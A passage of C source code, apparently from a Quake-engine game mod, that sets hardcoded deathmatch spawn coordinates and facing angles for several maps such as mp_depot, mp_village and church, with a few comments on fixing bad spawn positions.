deathmatchspawn[2]= 296;
deathmatchangles[1]= -42;
}else if(level.DMspawnpoint == 13){
deathmatchspawn[0]= 668;
deathmatchspawn[1]= 1641;
deathmatchspawn[2]= 56;
deathmatchangles[1]= -91;
}else if(level.DMspawnpoint == 14){
deathmatchspawn[0]= 1519;
deathmatchspawn[1]= 1639;
deathmatchspawn[2]= 64;
deathmatchangles[1]= -90;
}else if(level.DMspawnpoint == 15){
deathmatchspawn[0]= 1453;
deathmatchspawn[1]= 321;
deathmatchspawn[2]= 88;
deathmatchangles[1]= 46;
}else if(level.DMspawnpoint == 16){
deathmatchspawn[0]= 1599;
deathmatchspawn[1]= -105;
deathmatchspawn[2]= 88;
deathmatchangles[1]= 89;
}else if(level.DMspawnpoint == 17){
deathmatchspawn[0]= 898;
deathmatchspawn[1]= -155;
deathmatchspawn[2]= 56;
deathmatchangles[1]= 91;
}else if(level.DMspawnpoint == 18){
deathmatchspawn[0]= 626;
deathmatchspawn[1]= 1775;
deathmatchspawn[2]= 296;
deathmatchangles[1]= 45;
}else if(level.DMspawnpoint == 19){
deathmatchspawn[0]= -371;
deathmatchspawn[1]= 649;
deathmatchspawn[2]= 56;
deathmatchangles[1]= 43;
}else if(level.DMspawnpoint == 20){
deathmatchspawn[0]= 120;
deathmatchspawn[1]= 1141;
deathmatchspawn[2]= 56;
deathmatchangles[1]= -135;
}else if(level.DMspawnpoint == 21){
deathmatchspawn[0]= 1291;
deathmatchspawn[1]= 1775;
deathmatchspawn[2]= 296;
deathmatchangles[1]= 45;
level.DMspawnpoint = -1;
}
}else if (!Q_stricmp(mapName, "mp_destruction")){
if(level.DMspawnpoint == 0){
deathmatchspawn[0]= 2260;
deathmatchspawn[1]= -990;
deathmatchspawn[2]= -103;
deathmatchangles[1]= 152;
}else if(level.DMspawnpoint == 1){
deathmatchspawn[0]= 2204;
deathmatchspawn[1]= -2048;
deathmatchspawn[2]= -103;
deathmatchangles[1]= -179;
}else if(level.DMspawnpoint == 2){
deathmatchspawn[0]= 694;
deathmatchspawn[1]= -2725;
deathmatchspawn[2]= -111;
deathmatchangles[1]= 3;
}else if(level.DMspawnpoint == 3){
deathmatchspawn[0]= 1378;
deathmatchspawn[1]= -1548;
deathmatchspawn[2]= -103;
deathmatchangles[1]= 46;
}else if(level.DMspawnpoint == 4){
deathmatchspawn[0]= 923;
deathmatchspawn[1]= -1302;
deathmatchspawn[2]= -103;
deathmatchangles[1]= 90;
}else if(level.DMspawnpoint == 5){
deathmatchspawn[0]= -312;
deathmatchspawn[1]= -1561;
deathmatchspawn[2]= 88;
deathmatchangles[1]= 141;
}else if(level.DMspawnpoint == 6){
deathmatchspawn[0]= -226;
deathmatchspawn[1]= -1240;
deathmatchspawn[2]= -231;
deathmatchangles[1]= -37;
}else if(level.DMspawnpoint == 7){
deathmatchspawn[0]= -290;
deathmatchspawn[1]= -392;
deathmatchspawn[2]= -175;
deathmatchangles[1]= -178;
}else if(level.DMspawnpoint == 8){
deathmatchspawn[0]= -1340;
deathmatchspawn[1]= 566;
deathmatchspawn[2]= -103;
deathmatchangles[1]= -123;
}else if(level.DMspawnpoint == 9){
deathmatchspawn[0]= -1326;
deathmatchspawn[1]= 303;
deathmatchspawn[2]= 88;
deathmatchangles[1]= 135;
}else if(level.DMspawnpoint == 10){
deathmatchspawn[0]= -751;
deathmatchspawn[1]= 372;
deathmatchspawn[2]= 96;
deathmatchangles[1]= 124;
}else if(level.DMspawnpoint == 11){
deathmatchspawn[0]= -1048;
deathmatchspawn[1]= 808;
deathmatchspawn[2]= -175;
deathmatchangles[1]= -140;
}else if(level.DMspawnpoint == 12){
deathmatchspawn[0]= 104;
deathmatchspawn[1]= 324;
deathmatchspawn[2]= -175;
deathmatchangles[1]= 88;
}else if(level.DMspawnpoint == 13){
deathmatchspawn[0]= 341;
deathmatchspawn[1]= 905;
deathmatchspawn[2]= -143;
deathmatchangles[1]= -5;
}else if(level.DMspawnpoint == 14){
deathmatchspawn[0]= 339;
deathmatchspawn[1]= 562;
deathmatchspawn[2]= -143;
deathmatchangles[1]= 0;
}else if(level.DMspawnpoint == 15){
deathmatchspawn[0]= 1011;
deathmatchspawn[1]= 948;
deathmatchspawn[2]= 56;
deathmatchangles[1]= 91;
}else if(level.DMspawnpoint == 16){
deathmatchspawn[0]= 1807;
deathmatchspawn[1]= 1124;
deathmatchspawn[2]= 216;
deathmatchangles[1]= -179;
}else if(level.DMspawnpoint == 17){
deathmatchspawn[0]= 573;
deathmatchspawn[1]= 291;
deathmatchspawn[2]= 31;
deathmatchangles[1]= 86;
}else if(level.DMspawnpoint == 18){
deathmatchspawn[0]= 1120;
deathmatchspawn[1]= 397;
deathmatchspawn[2]= 104;
deathmatchangles[1]= -122;
}else if(level.DMspawnpoint == 19){
deathmatchspawn[0]= 1400;
deathmatchspawn[1]= 185;
deathmatchspawn[2]= 200;
deathmatchangles[1]= 36;
}else if(level.DMspawnpoint == 20){
deathmatchspawn[0]= 1718;
deathmatchspawn[1]= 333;
deathmatchspawn[2]= 96;
deathmatchangles[1]= -39;
}else if(level.DMspawnpoint == 21){
deathmatchspawn[0]= 3145;
deathmatchspawn[1]= 991;
deathmatchspawn[2]= -175;
deathmatchangles[1]= -41;
}else if(level.DMspawnpoint == 22){
deathmatchspawn[0]= 4069;
deathmatchspawn[1]= 682;
deathmatchspawn[2]= 88;
deathmatchangles[1]= 134;
}else if(level.DMspawnpoint == 23){
deathmatchspawn[0]= 3941;
deathmatchspawn[1]= 566;
deathmatchspawn[2]= -119;
deathmatchangles[1]= 47;
}else if(level.DMspawnpoint == 24){
deathmatchspawn[0]= 4808;
deathmatchspawn[1]= 1646;
deathmatchspawn[2]= -31;
deathmatchangles[1]= 179;
}else if(level.DMspawnpoint == 25){
deathmatchspawn[0]= 4189;
deathmatchspawn[1]= 2250;
deathmatchspawn[2]= -21;
deathmatchangles[1]= 179;
}else if(level.DMspawnpoint == 26){
deathmatchspawn[0]= 3854;
deathmatchspawn[1]= 2800;
deathmatchspawn[2]= 125;
deathmatchangles[1]= 134;
}else if(level.DMspawnpoint == 27){
deathmatchspawn[0]= 2302;
deathmatchspawn[1]= 3032;
deathmatchspawn[2]= -183;
deathmatchangles[1]= -84;
}else if(level.DMspawnpoint == 28){
deathmatchspawn[0]= 1176;
deathmatchspawn[1]= 2250;
deathmatchspawn[2]= -303;
deathmatchangles[1]= 82;
}else if(level.DMspawnpoint == 29){
deathmatchspawn[0]= 2223;
deathmatchspawn[1]= 4426;
deathmatchspawn[2]= -223;
deathmatchangles[1]= -22;
level.DMspawnpoint = -1;
}
}else if (!Q_stricmp(mapName, "mp_depot")){
if(level.DMspawnpoint == 0){
deathmatchspawn[0]= -12144;
deathmatchspawn[1]= 5307;
deathmatchspawn[2]= 616;
deathmatchangles[1]= 90;
}else if(level.DMspawnpoint == 1){
deathmatchspawn[0]= -12923;
deathmatchspawn[1]= 6129;
deathmatchspawn[2]= 8;
deathmatchangles[1]= -45;
}else if(level.DMspawnpoint == 2){
deathmatchspawn[0]= -12542;
deathmatchspawn[1]= 5822;
deathmatchspawn[2]= 904;
deathmatchangles[1]= 38;
}else if(level.DMspawnpoint == 3){
deathmatchspawn[0]= -11443;
deathmatchspawn[1]= 5291;
deathmatchspawn[2]= 8;
deathmatchangles[1]= 135;
}else if(level.DMspawnpoint == 4){
deathmatchspawn[0]= -12146;
deathmatchspawn[1]= 5429;
deathmatchspawn[2]= -271;
deathmatchangles[1]= 15;
}else if(level.DMspawnpoint == 5){
deathmatchspawn[0]= -11456;
deathmatchspawn[1]= 5834;
deathmatchspawn[2]= -271;
deathmatchangles[1]= -138;
}else if(level.DMspawnpoint == 6){
deathmatchspawn[0]= -10004;
deathmatchspawn[1]= 3663;
deathmatchspawn[2]= -271;
deathmatchangles[1]= -38;
}else if(level.DMspawnpoint == 7){
deathmatchspawn[0]= -8945;
deathmatchspawn[1]= 4531;
deathmatchspawn[2]= -207;
deathmatchangles[1]= -176;
}else if(level.DMspawnpoint == 8){
deathmatchspawn[0]= -10229;
deathmatchspawn[1]= 4469;
deathmatchspawn[2]= -271;
deathmatchangles[1]= 169;
}else if(level.DMspawnpoint == 9){
deathmatchspawn[0]= -8832;
deathmatchspawn[1]= 3471;
deathmatchspawn[2]= -271;
deathmatchangles[1]= 92;
}else if(level.DMspawnpoint == 10){
deathmatchspawn[0]= -8781;
deathmatchspawn[1]= 2999;
deathmatchspawn[2]= -271;
deathmatchangles[1]= 177;
}else if(level.DMspawnpoint == 11){
deathmatchspawn[0]= -7999;
deathmatchspawn[1]= 2840;
deathmatchspawn[2]= -235;
deathmatchangles[1]= -90;
}else if(level.DMspawnpoint == 12){
deathmatchspawn[0]= -8669;
deathmatchspawn[1]= 3674;
deathmatchspawn[2]= 88;
deathmatchangles[1]= -50;
}else if(level.DMspawnpoint == 13){
deathmatchspawn[0]= -8055;
deathmatchspawn[1]= 4027;
deathmatchspawn[2]= 312;
deathmatchangles[1]= -47;
}else if(level.DMspawnpoint == 14){
deathmatchspawn[0]= -7284;
deathmatchspawn[1]= 3442;
deathmatchspawn[2]= 56;
deathmatchangles[1]= 52;
}else if(level.DMspawnpoint == 15){
deathmatchspawn[0]= -6582;
deathmatchspawn[1]= 4082;
deathmatchspawn[2]= -295;
deathmatchangles[1]= -90;
}else if(level.DMspawnpoint == 16){
deathmatchspawn[0]= -8046;
deathmatchspawn[1]= 4132;
deathmatchspawn[2]= -271;
deathmatchangles[1]= -89;
}else if(level.DMspawnpoint == 17){
deathmatchspawn[0]= -5304;
deathmatchspawn[1]= 1656;
deathmatchspawn[2]= -223;
deathmatchangles[1]= 177;
}else if(level.DMspawnpoint == 18){
deathmatchspawn[0]= -5478;
deathmatchspawn[1]= 1379;
deathmatchspawn[2]= -23;
deathmatchangles[1]= 179;
}else if(level.DMspawnpoint == 19){
deathmatchspawn[0]= -7647;
deathmatchspawn[1]= 2063;
deathmatchspawn[2]= -231;
deathmatchangles[1]= -179;
}else if(level.DMspawnpoint == 20){
deathmatchspawn[0]= -7648;
deathmatchspawn[1]= 1240;
deathmatchspawn[2]= -231;
deathmatchangles[1]= -178;
}else if(level.DMspawnpoint == 21){
deathmatchspawn[0]= -8644;
deathmatchspawn[1]= 1943;
deathmatchspawn[2]= -359;
deathmatchangles[1]= -2;
}else if(level.DMspawnpoint == 22){
deathmatchspawn[0]= -8022;
deathmatchspawn[1]= 2201;
deathmatchspawn[2]= -231;
deathmatchangles[1]= 61;
}else if(level.DMspawnpoint == 23){
deathmatchspawn[0]= -8553;
deathmatchspawn[1]= 2453;
deathmatchspawn[2]= -231;
deathmatchangles[1]= -55;
}else if(level.DMspawnpoint == 24){
deathmatchspawn[0]= -9080;
deathmatchspawn[1]= 1481;
deathmatchspawn[2]= -231;
deathmatchangles[1]= -177;
}else if(level.DMspawnpoint == 25){
deathmatchspawn[0]= -9438;
deathmatchspawn[1]= 1367;
deathmatchspawn[2]= -231;
deathmatchangles[1]= 125;
}else if(level.DMspawnpoint == 26){
deathmatchspawn[0]= -10318;
deathmatchspawn[1]= 2489;
deathmatchspawn[2]= -223;
deathmatchangles[1]= -72;
}else if(level.DMspawnpoint == 27){
deathmatchspawn[0]= -9658;
deathmatchspawn[1]= 1895;
deathmatchspawn[2]= 40;
deathmatchangles[1]= 146;
}else if(level.DMspawnpoint == 28){
deathmatchspawn[0]= -9893;
deathmatchspawn[1]= 1698;
deathmatchspawn[2]= -797;
deathmatchangles[1]= 140;
}else if(level.DMspawnpoint ==29){
deathmatchspawn[0]= -12313;
deathmatchspawn[1]= 6051;
deathmatchspawn[2]= -735;
deathmatchangles[1]= -126;
}else if(level.DMspawnpoint == 30){
deathmatchspawn[0]= -12920;
deathmatchspawn[1]= 6135;
deathmatchspawn[2]= -271;
deathmatchangles[1]= -52;
}else if(level.DMspawnpoint == 31){
deathmatchspawn[0]= -11845;
deathmatchspawn[1]= 3292;
deathmatchspawn[2]= -271;
deathmatchangles[1]= 100;
level.DMspawnpoint = -1;
}
}else if (!Q_stricmp(mapName, "mp_village")){
if(level.DMspawnpoint == 0){
deathmatchspawn[0]= -675;
deathmatchspawn[1]= -523;
deathmatchspawn[2]= -167;
deathmatchangles[1]= 88;
}else if(level.DMspawnpoint == 1){
deathmatchspawn[0]= 191;
deathmatchspawn[1]= 4318;
deathmatchspawn[2]= -131;
deathmatchangles[1]= -132;
}else if(level.DMspawnpoint == 2){
deathmatchspawn[0]= -886;
deathmatchspawn[1]= 3421;
deathmatchspawn[2]= -43;
deathmatchangles[1]= 88;
}else if(level.DMspawnpoint == 3){
deathmatchspawn[0]= -678;
deathmatchspawn[1]= 4911;
deathmatchspawn[2]= -50;
deathmatchangles[1]= -47;
}else if(level.DMspawnpoint == 4){
deathmatchspawn[0]= -252;
deathmatchspawn[1]= -1195;
deathmatchspawn[2]= -199;
deathmatchangles[1]= 89;
}else if(level.DMspawnpoint == 5){
deathmatchspawn[0]= -1177;
deathmatchspawn[1]= 4071;
deathmatchspawn[2]= -287;
deathmatchangles[1]= 40;
}else if(level.DMspawnpoint == 6){
deathmatchspawn[0]= 227;
deathmatchspawn[1]= -1185;
deathmatchspawn[2]= -119;
deathmatchangles[1]= -137;
}else if(level.DMspawnpoint == 7){
deathmatchspawn[0]= -1063;
deathmatchspawn[1]= 3034;
deathmatchspawn[2]= -287;
deathmatchangles[1]= 121;
}else if(level.DMspawnpoint == 8){
deathmatchspawn[0]= 199;
deathmatchspawn[1]= -1940;
deathmatchspawn[2]= -151;
deathmatchangles[1]= 39;
}else if(level.DMspawnpoint == 9){
deathmatchspawn[0]= -2468;
deathmatchspawn[1]= 2517;
deathmatchspawn[2]= -135;
deathmatchangles[1]= -41;
}else if(level.DMspawnpoint == 10){
deathmatchspawn[0]= -1709;
deathmatchspawn[1]= 2239;
deathmatchspawn[2]= -135;
deathmatchangles[1]= 130;
}else if(level.DMspawnpoint == 11){
deathmatchspawn[0]= -1276;
deathmatchspawn[1]= 3078;
deathmatchspawn[2]= -135;
deathmatchangles[1]= -146;
}else if(level.DMspawnpoint == 12){
deathmatchspawn[0]= -768;
deathmatchspawn[1]= 491;
deathmatchspawn[2]= -159;
deathmatchangles[1]= 90;
}else if(level.DMspawnpoint == 13){
deathmatchspawn[0]= -1488;
deathmatchspawn[1]= 640;
deathmatchspawn[2]= -159;
deathmatchangles[1]= 0;
}else if(level.DMspawnpoint == 14){
deathmatchspawn[0]= -2789;
deathmatchspawn[1]= 1539;
deathmatchspawn[2]= 96;
deathmatchangles[1]= 0;
}else if(level.DMspawnpoint == 15){
deathmatchspawn[0]= -2777;
deathmatchspawn[1]= 898;
deathmatchspawn[2]= 96;
deathmatchangles[1]= 0;
}else if(level.DMspawnpoint == 16){
deathmatchspawn[0]= -1118;
deathmatchspawn[1]= -358;
deathmatchspawn[2]= -151;
deathmatchangles[1]= -88;
}else if(level.DMspawnpoint == 17){
deathmatchspawn[0]= -799;
deathmatchspawn[1]= -348;
deathmatchspawn[2]= -119;
deathmatchangles[1]= -92;
}else if(level.DMspawnpoint == 18){
deathmatchspawn[0]= -1753;
deathmatchspawn[1]= -192;
deathmatchspawn[2]= -159;
deathmatchangles[1]= -177;
}else if(level.DMspawnpoint == 19){
deathmatchspawn[0]= -1127;
deathmatchspawn[1]= 488;
deathmatchspawn[2]= -159;
deathmatchangles[1]= -92;
}else if(level.DMspawnpoint == 20){
deathmatchspawn[0]= -1638;
deathmatchspawn[1]= -1152;
deathmatchspawn[2]= -159;
deathmatchangles[1]= 179;
}else if(level.DMspawnpoint == 21){
deathmatchspawn[0]= 265;
deathmatchspawn[1]= 438;
deathmatchspawn[2]= -175;
deathmatchangles[1]= -90;
}else if(level.DMspawnpoint == 22){
deathmatchspawn[0]= 705;
deathmatchspawn[1]= 545;
deathmatchspawn[2]= -94;
deathmatchangles[1]= -92;
}else if(level.DMspawnpoint == 23){
deathmatchspawn[0]= 357;
deathmatchspawn[1]= 1708;
deathmatchspawn[2]= 218;
deathmatchangles[1]= -44;
}else if(level.DMspawnpoint == 24){
deathmatchspawn[0]= 571; //agent fix. players spawn in a wall lol
deathmatchspawn[1]= 2200;
deathmatchspawn[2]= 32;
deathmatchangles[1]= -39;
}else if(level.DMspawnpoint == 25){
deathmatchspawn[0]= -373;
deathmatchspawn[1]= 2697;
deathmatchspawn[2]= 129;
deathmatchangles[1]= 91;
}else if(level.DMspawnpoint == 26){
deathmatchspawn[0]= 1453;
deathmatchspawn[1]= 2312;
deathmatchspawn[2]= 24;
deathmatchangles[1]= -178;
}else if(level.DMspawnpoint == 27){
deathmatchspawn[0]= 1436;
deathmatchspawn[1]= 1858;
deathmatchspawn[2]= 24;
deathmatchangles[1]= -178;
}else if(level.DMspawnpoint == 28){
deathmatchspawn[0]= -768;
deathmatchspawn[1]= 27;
deathmatchspawn[2]= -159;
deathmatchangles[1]= 91;
}else if(level.DMspawnpoint == 29){
deathmatchspawn[0]= -2336;
deathmatchspawn[1]= -1126;
deathmatchspawn[2]= -159;
deathmatchangles[1]= 90;
}else if(level.DMspawnpoint == 30){
deathmatchspawn[0]= -2375;
deathmatchspawn[1]= 678;
deathmatchspawn[2]= -151;
deathmatchangles[1]= 87;
}else if(level.DMspawnpoint == 31){
deathmatchspawn[0]= -2115;
deathmatchspawn[1]= 679;
deathmatchspawn[2]= -151;
deathmatchangles[1]= 89;
}else if(level.DMspawnpoint == 32){
deathmatchspawn[0]= -150;
deathmatchspawn[1]= 2111;
deathmatchspawn[2]= -139;
deathmatchangles[1]= 9;
level.DMspawnpoint = -1;
}
}else if (!Q_stricmp(mapName, "xlabs")){
if(level.DMspawnpoint == 0){
deathmatchspawn[0]= 1664;
deathmatchspawn[1]= -1680;
deathmatchspawn[2]= -15;
deathmatchangles[1]= 91;
}else if(level.DMspawnpoint == 1){
deathmatchspawn[0]= 1505;
deathmatchspawn[1]= -1683;
deathmatchspawn[2]= -15;
deathmatchangles[1]= 89;
}else if(level.DMspawnpoint == 2){
deathmatchspawn[0]= 1344;
deathmatchspawn[1]= -1667;
deathmatchspawn[2]= -15;
deathmatchangles[1]= 90;
}else if(level.DMspawnpoint == 3){
deathmatchspawn[0]= 1191;
deathmatchspawn[1]= -496;
deathmatchspawn[2]= 224;
deathmatchangles[1]= -1;
}else if(level.DMspawnpoint == 4){
deathmatchspawn[0]= 1252;
deathmatchspawn[1]= 190;
deathmatchspawn[2]= -15;
deathmatchangles[1]= 0;
}else if(level.DMspawnpoint == 5){
deathmatchspawn[0]= 1181;
deathmatchspawn[1]= -290;
deathmatchspawn[2]= 224;
deathmatchangles[1]= 49;
}else if(level.DMspawnpoint == 6){
deathmatchspawn[0]= 707;
deathmatchspawn[1]= -572;
deathmatchspawn[2]= 16;
deathmatchangles[1]= 0;
}else if(level.DMspawnpoint == 7){
deathmatchspawn[0]= 730;
deathmatchspawn[1]= -127;
deathmatchspawn[2]= 224;
deathmatchangles[1]= 179;
}else if(level.DMspawnpoint == 8){
deathmatchspawn[0]= 289;
deathmatchspawn[1]= -603;
deathmatchspawn[2]= 224;
deathmatchangles[1]= -179;
}else if(level.DMspawnpoint == 9){
deathmatchspawn[0]= 63;
deathmatchspawn[1]= -2273;
deathmatchspawn[2]= 224;
deathmatchangles[1]= 88;
}else if(level.DMspawnpoint == 10){
deathmatchspawn[0]= -43;
deathmatchspawn[1]= -1694;
deathmatchspawn[2]= 224;
deathmatchangles[1]= -1;
}else if(level.DMspawnpoint == 11){
deathmatchspawn[0]= 173;
deathmatchspawn[1]= -1380;
deathmatchspawn[2]= 224;
deathmatchangles[1]= 176;
}else if(level.DMspawnpoint == 12){
deathmatchspawn[0]= -865;
deathmatchspawn[1]= -802;
deathmatchspawn[2]= 16;
deathmatchangles[1]= 179;
}else if(level.DMspawnpoint == 13){
deathmatchspawn[0]= 63;
deathmatchspawn[1]= -1696;
deathmatchspawn[2]= 16;
deathmatchangles[1]= 89;
}else if(level.DMspawnpoint == 14){
deathmatchspawn[0]= -151;
deathmatchspawn[1]= -738;
deathmatchspawn[2]= 16;
deathmatchangles[1]= 179;
}else if(level.DMspawnpoint == 15){
deathmatchspawn[0]= -284;
deathmatchspawn[1]= 930;
deathmatchspawn[2]= 16;
deathmatchangles[1]= -134;
}else if(level.DMspawnpoint == 16){
deathmatchspawn[0]= -542;
deathmatchspawn[1]= -1152;
deathmatchspawn[2]= 16;
deathmatchangles[1]= 179;
}else if(level.DMspawnpoint == 17){
deathmatchspawn[0]= -1387;
deathmatchspawn[1]= -1763;
deathmatchspawn[2]= -103;
deathmatchangles[1]= 90;
}else if(level.DMspawnpoint == 18){
deathmatchspawn[0]= -645;
deathmatchspawn[1]= -2829;
deathmatchspawn[2]= -103;
deathmatchangles[1]= 89;
}else if(level.DMspawnpoint == 19){
deathmatchspawn[0]= -396;
deathmatchspawn[1]= 51;
deathmatchspawn[2]= 16;
deathmatchangles[1]= 178;
}else if(level.DMspawnpoint == 20){
deathmatchspawn[0]= 867;
deathmatchspawn[1]= -1188;
deathmatchspawn[2]= 224;
deathmatchangles[1]= 138;
}else if(level.DMspawnpoint == 21){
deathmatchspawn[0]= 1221;
deathmatchspawn[1]= -762;
deathmatchspawn[2]= 224;
deathmatchangles[1]= 0;
level.DMspawnpoint = -1;
}
}else if (!Q_stricmp(mapName, "boss2")){
if(level.DMspawnpoint == 0){
deathmatchspawn[0]= 602;
deathmatchspawn[1]= 735;
deathmatchspawn[2]= -103;
deathmatchangles[1]= 138;
}else if(level.DMspawnpoint == 1){
deathmatchspawn[0]= -611;
deathmatchspawn[1]= 1701;
deathmatchspawn[2]= -103;
deathmatchangles[1]= -38;
}else if(level.DMspawnpoint == 2){
deathmatchspawn[0]= 606;
deathmatchspawn[1]= 1003;
deathmatchspawn[2]= 56;
deathmatchangles[1]= 91;
}else if(level.DMspawnpoint == 3){
deathmatchspawn[0]= -279;
deathmatchspawn[1]= 2607;
deathmatchspawn[2]= -103;
deathmatchangles[1]= -90;
}else if(level.DMspawnpoint == 4){
deathmatchspawn[0]= 281;
deathmatchspawn[1]= 2613;
deathmatchspawn[2]= -103;
deathmatchangles[1]= -88;
}else if(level.DMspawnpoint == 5){
deathmatchspawn[0]= 610;
deathmatchspawn[1]= 1698;
deathmatchspawn[2]= 56;
deathmatchangles[1]= -135;
}else if(level.DMspawnpoint == 6){
deathmatchspawn[0]= 227;
deathmatchspawn[1]= -1251;
deathmatchspawn[2]= -55;
deathmatchangles[1]= 135;
}else if(level.DMspawnpoint == 7){
deathmatchspawn[0]= -222;
deathmatchspawn[1]= -802;
deathmatchspawn[2]= -55;
deathmatchangles[1]= -46;
}else if(level.DMspawnpoint == 8){
deathmatchspawn[0]= 30;
deathmatchspawn[1]= -1724;
deathmatchspawn[2]= 231;
deathmatchangles[1]= 1;
}else if(level.DMspawnpoint == 9){
deathmatchspawn[0]= 733;
deathmatchspawn[1]= -1727;
deathmatchspawn[2]= 230;
deathmatchangles[1]= 179;
}else if(level.DMspawnpoint == 10){
deathmatchspawn[0]= 848;
deathmatchspawn[1]= -2246;
deathmatchspawn[2]= -39;
deathmatchangles[1]= 93;
}else if(level.DMspawnpoint == 11){
deathmatchspawn[0]= 186;
deathmatchspawn[1]= 1913;
deathmatchspawn[2]= -19;
deathmatchangles[1]= 41;
}else if(level.DMspawnpoint == 12){
deathmatchspawn[0]= -613;
deathmatchspawn[1]= 731;
deathmatchspawn[2]= -103;
deathmatchangles[1]= 46;
}else if(level.DMspawnpoint == 13){
deathmatchspawn[0]= 606;
deathmatchspawn[1]= 1694;
deathmatchspawn[2]= -103;
deathmatchangles[1]= -141;
}else if(level.DMspawnpoint == 14){
deathmatchspawn[0]= 1269;
deathmatchspawn[1]= 1214;
deathmatchspawn[2]= 568;
deathmatchangles[1]= 179;
}else if(level.DMspawnpoint == 15){
deathmatchspawn[0]= 841;
deathmatchspawn[1]= 1216;
deathmatchspawn[2]= 56;
deathmatchangles[1]= -179;
}else if(level.DMspawnpoint == 16){
deathmatchspawn[0]= 1;
deathmatchspawn[1]= 2656;
deathmatchspawn[2]= -103;
deathmatchangles[1]= -90;
}else if(level.DMspawnpoint == 17){
deathmatchspawn[0]= 609;
deathmatchspawn[1]= 732;
deathmatchspawn[2]= 56;
deathmatchangles[1]= 142;
}else if(level.DMspawnpoint == 18){
deathmatchspawn[0]= 807;
deathmatchspawn[1]= -1726;
deathmatchspawn[2]= 241;
deathmatchangles[1]= 0;
}else if(level.DMspawnpoint == 19){
deathmatchspawn[0]= -38;
deathmatchspawn[1]= -1728;
deathmatchspawn[2]= 242;
deathmatchangles[1]= -179;
level.DMspawnpoint = -1;
}
}else if (!Q_stricmp(mapName, "church")){
if(level.DMspawnpoint == 0){
deathmatchspawn[0]= -1570;
deathmatchspawn[1]= 418;
deathmatchspawn[2]= 192;
deathmatchangles[1]= -87;
}else if(level.DMspawnpoint == 1){
deathmatchspawn[0]= -2175;
deathmatchspawn[1]= 242;
deathmatchspawn[2]= 152;
deathmatchangles[1]= -90;
}else if(level.DMspawnpoint == 2){
deathmatchspawn[0]= -1451;
deathmatchspawn[1]= 43;
deathmatchspawn[2]= 152;
deathmatchangles[1]= 134;
}else if(level.DMspawnpoint == 3){
deathmatchspawn[0]= -98;
deathmatchspawn[1]= 588;
deathmatchspawn[2]= 88;
deathmatchangles[1]= 176;
}else if(level.DMspawnpoint == 4){
deathmatchspawn[0]= -88;
deathmatchspawn[1]= -7;
deathmatchspawn[2]= 88;
deathmatchangles[1]= -178;
}else if(level.DMspawnpoint == 5){
deathmatchspawn[0]= 421;
deathmatchspawn[1]= -6;
deathmatchspawn[2]= 88;
deathmatchangles[1]= -177;
}else if(level.DMspawnpoint == 6){
deathmatchspawn[0]= 24;
deathmatchspawn[1]= -6;
deathmatchspawn[2]= 88;
deathmatchangles[1]= 0;
}else if(level.DMspawnpoint == 7){
deathmatchspawn[0]= 420;
deathmatchspawn[1]= 583;
deathmatchspawn[2]= 88;
deathmatchangles[1]= 179;
}else if(level.DMspawnpoint == 8){
deathmatchspawn[0]= 1766;
deathmatchspawn[1]= 89;
deathmatchspawn[2]= 312;
deathmatchangles[1]= 89;
}else if(level.DMspawnpoint == 9){
deathmatchspawn[0]= 581;
deathmatchspawn[1]= -278;
deathmatchspawn[2]= 608;
deathmatchangles[1]= 91;
}else if(level.DMspawnpoint == 10){
deathmatchspawn[0]= -544;
deathmatchspawn[1]= 775;
deathmatchspawn[2]= 664;
deathmatchangles[1]= -89;
}else if(level.DMspawnpoint == 11){
deathmatchspawn[0]= -707;
deathmatchspawn[1]= 771;
deathmatchspawn[2]= 1120;
deathmatchangles[1]= 0;
}else if(level.DMspawnpoint == 12){
deathmatchspawn[0]= -707;
deathmatchspawn[1]= -198;
deathmatchspawn[2]= 1120;
deathmatchangles[1]= 0;
}else if(level.DMspawnpoint == 13){
deathmatchspawn[0]= 527;
deathmatchspawn[1]= 432;
deathmatchspawn[2]= 600;
deathmatchangles[1]= -90;
}else if(level.DMspawnpoint == 14){
deathmatchspawn[0]= 677;
deathmatchspawn[1]= 1200;
deathmatchspawn[2]= 600;
deathmatchangles[1]= -123;
}else if(level.DMspawnpoint == 15){
deathmatchspawn[0]= 2242;
deathmatchspawn[1]= 287;
deathmatchspawn[2]= 664;
deathmatchangles[1]= 179;
}else if(level.DMspawnpoint == 16){
deathmatchspawn[0]= 1424;
deathmatchspawn[1]= 549;
deathmatchspawn[2]= 632;
deathmatchangles[1]= -91;
}else if(level.DMspawnpoint == 17){
deathmatchspawn[0]= 1420;
deathmatchspawn[1]= 30;
deathmatchspawn[2]= 632;
deathmatchangles[1]= 90;
}else if(level.DMspawnpoint == 18){
deathmatchspawn[0]= 421;
deathmatchspawn[1]= 101;
deathmatchspawn[2]= 1112;
deathmatchangles[1]= 90;
}else if(level.DMspawnpoint == 19){
deathmatchspawn[0]= -543;
deathmatchspawn[1]= -198;
deathmatchspawn[2]= 664;
deathmatchangles[1]= 89;
}else if(level.DMspawnpoint == 20){
deathmatchspawn[0]= -714;
deathmatchspawn[1]= 91;
deathmatchspawn[2]= 88;
deathmatchangles[1]= 90;
level.DMspawnpoint = -1;
}
}else if (!Q_stricmp(mapName, "rocket")){
//This spawn point below spawns in the cealing
if(level.DMspawnpoint == 0){
deathmatchspawn[0]= 2676;
deathmatchspawn[1]= -752;
deathmatchspawn[2]= 72; //was 68
deathmatchangles[1]= -90;
}else if(level.DMspawnpoint == 1){
deathmatchspawn[0]= 3038;
deathmatchspawn[1]= -34;
deathmatchspawn[2]= 24;
deathmatchangles[1]= -133;
}else if(level.DMspawnpoint == 2){
deathmatchspawn[0]= 1818;
deathmatchspawn[1]= -903;
deathmatchspawn[2]= 24;
deathmatchangles[1]= 27;
//This spawn point below spawns in the cealing
}else if(level.DMspawnpoint == 3){
deathmatchspawn[0]= 1279;
deathmatchspawn[1]= 866;
deathmatchspawn[2]= 220; //was 230
deathmatchangles[1]= 90;
//This spawn point below spawns in the cealing
}else if(level.DMspawnpoint == 4){
deathmatchspawn[0]= 1278;
deathmatchspawn[1]= 726;
deathmatchspawn[2]= 220; //was 230
deathmatchangles[1]= -89;
}else if(level.DMspawnpoint == 5){
deathmatchspawn[0]= 1890;
deathmatchspawn[1]= -1058;
deathmatchspawn[2]= -359;
deathmatchangles[1]= 135;
}else if(level.DMspawnpoint == 6){
deathmatchspawn[0]= 1117;
deathmatchspawn[1]= -30;
deathmatchspawn[2]= -359;
deathmatchangles[1]= -45;
}else if(level.DMspawnpoint == 7){
deathmatchspawn[0]= 264;
deathmatchspawn[1]= 177;
deathmatchspawn[2]= -356;
deathmatchangles[1]= -115;
}else if(level.DMspawnpoint == 8){
deathmatchspawn[0]= -2150;
deathmatchspawn[1]= 1202;
